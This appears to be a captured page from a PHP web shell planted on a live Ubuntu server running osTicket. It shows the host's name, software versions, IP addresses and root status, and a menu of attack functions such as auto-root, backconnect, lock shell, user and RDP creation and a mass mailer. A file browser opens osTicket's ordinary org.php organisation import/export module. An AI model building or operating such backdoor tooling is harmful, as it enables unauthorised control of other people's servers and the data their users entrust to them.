Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
osticket /
upload /
include /
cli /
modules /
[ HOME SHELL ]
Name
Size
Permission
Action
agent.php
6.7
KB
-rw-r--r--
cron.php
730
B
-rw-r--r--
deploy.php
10.96
KB
-rw-r--r--
export.php
2.69
KB
-rw-r--r--
file.php
20.11
KB
-rw-r--r--
i18n.php
27.1
KB
-rw-r--r--
import.php
10.42
KB
-rw-r--r--
list.php
2.98
KB
-rw-r--r--
org.php
2.44
KB
-rw-r--r--
package.php
5.02
KB
-rw-r--r--
serve.php
2.88
KB
-rw-r--r--
unpack.php
9.82
KB
-rw-r--r--
upgrade.php
3.05
KB
-rw-r--r--
user.php
7.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : org.php
<?php class OrganizationManager extends Module { var $prologue = 'CLI organization manager'; var $arguments = array( 'action' => array( 'help' => 'Action to be performed', 'options' => array( 'import' => 'Import organizations to the system', 'export' => 'Export organizations from the system', ), ), ); var $options = array( 'file' => array('-f', '--file', 'metavar'=>'path', 'help' => 'File or stream to process'), ); var $stream; function run($args, $options) { Bootstrap::connect(); switch ($args['action']) { case 'import': if (!$options['file']) $this->fail('Import CSV file required!'); elseif (!($this->stream = fopen($options['file'], 'rb'))) $this->fail("Unable to open input file [{$options['file']}]"); //Read the header (if any) if (($data = fgetcsv($this->stream, 1000, ","))) { if (strcasecmp($data[0], 'name')) fseek($this->stream, 0); // We don't have an header! else; // TODO: process the header here to figure out the columns // for now we're assuming one column of Name } while (($data = fgetcsv($this->stream, 1000, ",")) !== FALSE) { if (!$data[0]) $this->stderr->write('Invalid data format: Name required'); elseif (!Organization::fromVars(array('name' => $data[0], 'email'))) $this->stderr->write('Unable to import record: '.print_r($data, true)); } break; case 'export': $stream = $options['file'] ?: 'php://stdout'; if (!($this->stream = fopen($stream, 'c'))) $this->fail("Unable to open output file [{$options['file']}]"); fputcsv($this->stream, array('Name')); foreach (Organization::objects() as $org) fputcsv($this->stream, array((string) $org->getName())); break; default: $this->stderr->write('Unknown action!'); } @fclose($this->stream); } } Module::register('org', 'OrganizationManager'); ?>
Close